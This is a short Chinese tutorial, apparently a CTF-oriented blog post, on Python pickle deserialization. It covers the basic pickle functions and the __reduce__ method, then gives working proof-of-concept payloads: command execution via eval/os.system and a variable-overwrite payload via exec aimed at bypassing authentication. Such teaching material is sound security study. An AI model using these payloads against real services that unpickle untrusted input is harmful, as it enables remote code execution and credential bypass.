pickle反序列化初探
PICKLE基础
Pickle模块中最常用的函数为:
(1)pickle.dump(obj, file, [,protocol])
函数的功能:将obj对象序列化存入已经打开的file中。
参数讲解:
obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(2)pickle.load(file)
函数的功能:将file中的对象序列化读出。
参数讲解:
file:文件名称。
(3)pickle.dumps(obj[, protocol])
函数的功能:将obj对象序列化为string形式,而不是存入文件中。
参数讲解:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(4)pickle.loads(string)
函数的功能:从string中读出序列化前的obj对象。
参数讲解:
string:文件名称。
__reduce__
上图的大致解释:当对象被Pickle时(也就是pickle.loads(payload)
),会被调用,它的返回值要是一个(callable, ([para1,para2...])[,...])
的元组
漏洞利用
利用思路
- 任意代码执行或命令执行
- 变量覆盖,通过覆盖一些凭证达到绕过身份验证的目的。
pickle EXP
python2
import urllib
import pickle
class test(object):
def __reduce__(self):
return (eval,("__import__('os').popen('ls').read()",))
a=test()
payload=pickle.dumps(a)
pickle.loads(payload)
payload=urllib.quote(payload)
print payload
python3
import pickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" # 要执行的命令
return os.system, (s,) # reduce函数必须返回元组或字符串
e = genpoc()
poc = pickle.dumps(e)
print(poc) # 此时,如果 pickle.loads(poc),就会执行命令
变量覆盖
import pickle
key1 = b'321'
key2 = b'123'
class A(object):
def __reduce__(self):
return (exec,("key1=b'1'\nkey2=b'2'",))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)
关于手写opcode
- 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用
__reduce__
来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。
这篇文章是讲的比较好的。
pickle进阶
关于手搓pickle,pickletools,绕过R指令码等之后再补上。